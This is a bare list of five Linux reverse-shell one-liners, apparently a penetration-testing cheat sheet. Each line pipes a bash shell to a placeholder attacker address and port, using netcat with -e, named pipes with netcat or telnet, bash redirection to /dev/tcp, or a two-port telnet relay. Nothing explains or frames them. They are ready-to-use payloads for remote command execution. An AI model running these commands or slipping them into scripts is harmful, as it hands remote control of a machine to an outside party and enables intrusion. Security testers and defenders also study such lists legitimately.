1. nc <attacker_ip> <port> -e /bin/bash
2. mknod backpipe p; nc <attacker_ip> <port> 0<backpipe | /bin/bash 1>backpipe
3. /bin/bash -i > /dev/tcp/<attacker_ip>/<port> 0<&1 2>&1
4. mknod backpipe p; telnet <attacker_ip> <port> 0<backpipe | /bin/bash 1>backpipe
5. telnet <attacker_ip> <1st_port> | /bin/bash | telnet <attacker_ip> <2nd_port>
